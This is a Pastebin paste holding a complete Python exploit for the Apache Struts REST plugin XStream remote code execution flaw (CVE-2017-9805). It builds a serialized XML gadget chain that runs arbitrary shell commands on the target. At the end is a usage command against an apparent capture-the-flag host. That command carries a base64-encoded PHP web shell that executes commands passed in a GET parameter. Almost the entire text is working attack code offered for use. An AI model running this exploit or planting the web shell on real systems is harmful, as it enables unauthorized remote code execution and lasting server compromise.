Advertisement
Guest User

Untitled

a guest
Dec 16th, 2017
563
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.05 KB | None | 0 0
  1. # Disclaimer: This Code is for Legal and Ethical Use on/against information system/s for which the user of this code has express consent by the information system/s owner.
  2. # Exploit Title: Struts 2.5-2.5.12 Struts Rest Plugin XSTREAM RCE
  3. # Date: 12/02/2017
  4. # Exploit Author: Chris Davis
  5. # Vendor Homepage: https://struts.apache.org/
  6. # Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
  7. # Tested Against: Ubuntu 16.04
  8. # CVE: 2017-9805
  9. # License: MIT License
  10. import requests
  11. import argparse
  12. import base64
  13. import sys
  14. import random
  15. import re
  16. from xml.dom import minidom
  17. from xml.dom.minidom import parse, parseString
  18.  
  19. #Lambda function for creating random string
  20. random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm123456789012345678901234567890") for _ in range(num))
  21.  
  22. #iterates over the elements in the template XML object and replaces with desired commands
  23. def get_item_list(itemlist, encoded_command, the_match):
  24. for item in itemlist:
  25. for item2 in item.childNodes:
  26. if item2.nodeValue == the_match:
  27. item2.nodeValue = encoded_command
  28.  
  29. #Main function
  30. def main(url, command):
  31. #XML can be pretty finicky with special characters and escaping. Combine this with command execution with struts and its even more finicky.
  32. filename = "jhansWebShell.php"
  33. print('[+] Encoding Command')
  34. #So lets encode our user supplied command in base64 and write it to a string using the below struts vuln command with XML friendly characters.
  35. #we will save it to a file, execute that file with /bin/bash and then remove the temporary file
  36. encoded_command = 'echo '+base64.b64encode(command)+' | base64 -d | tee -a /tmp/'+filename+' ; /bin/bash /tmp/'+filename
  37. print('[+] Building XML object')
  38. #Build our initial xml template
  39. xml_exploit = parseString('<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string><string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>')
  40. #Define some sample headers
  41. header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36','Content-Type': 'application/xml'}
  42. #Search for the element that is going to be executed and grab those items
  43. itemlist = xml_exploit.getElementsByTagName('string')
  44. #Replace the templated with our base64 encoded command which will be decoded and written to a temporary file
  45. print('[+] Placing command in XML object')
  46. get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")
  47. print('[+] Converting Back to String')
  48. #Convert the XML object back to a string
  49. exploit = xml_exploit.toxml('utf8')
  50. print('[+] Making Post Request with our payload')
  51. #post our exploit XML code to the vulnerable struts server
  52. request = requests.post(url, data=exploit, headers=header)
  53. print('[+] Payload executed')
  54.  
  55. if __name__ == "__main__":
  56. #Checking for proper arguments of url and desired command to execute
  57. parser = argparse.ArgumentParser()
  58. parser.add_argument('-u', type=str, help='url of target vulnerable apache struts server. Ex- http://somevulnstrutsserver.com/orders.xhtml', dest='url')
  59. parser.add_argument('-c', type=str, help='command to execute against the target. Ex - /usr/bin/whoami', dest='command', required=True)
  60. parser.add_help
  61. #validate all the arguments were passed
  62. if len(sys.argv) < 3:
  63. parser.print_help()
  64. sys.exit(1)
  65. args = parser.parse_args()
  66. #Check to make sure a proper url was sent
  67. if not bool(re.search(r'^http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+$',args.url.strip(), re.IGNORECASE)):
  68. print('\n---- Invalid Url ----\n')
  69. parser.print_help()
  70. sys.exit(1)
  71. #just make sure ther is some length to the command
  72. elif not bool(re.search(r'^.+$',args.command.strip(), re.IGNORECASE)):
  73. print('\n---- Invalid Command ----\n')
  74. parser.print_help()
  75. sys.exit(1)
  76. main(args.url, args.command)
  77.  
  78. COMMAND
  79. python exploitPython.py -u http://dev.northpolechristmastown.com -c PGh0bWw+DQo8Ym9keT4NCjxmb3JtIG1ldGhvZD0iR0VUIiBuYW1lPSI8P3BocCBlY2hvIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsgPz4iPg0KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgaWQ9ImNtZCIgc2l6ZT0iODAiPg0KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPg0KPC9mb3JtPg0KPHByZT4NCjw/cGhwDQogICAgaWYoJF9HRVRbJ2NtZCddKQ0KICAgIHsNCiAgICAgICAgc3lzdGVtKCRfR0VUWydjbWQnXSk7DQogICAgfQ0KPz4NCjwvcHJlPg0KPC9ib2R5Pg0KPHNjcmlwdD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY21kIikuZm9jdXMoKTs8L3NjcmlwdD4NCjwvaHRtbD4=
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement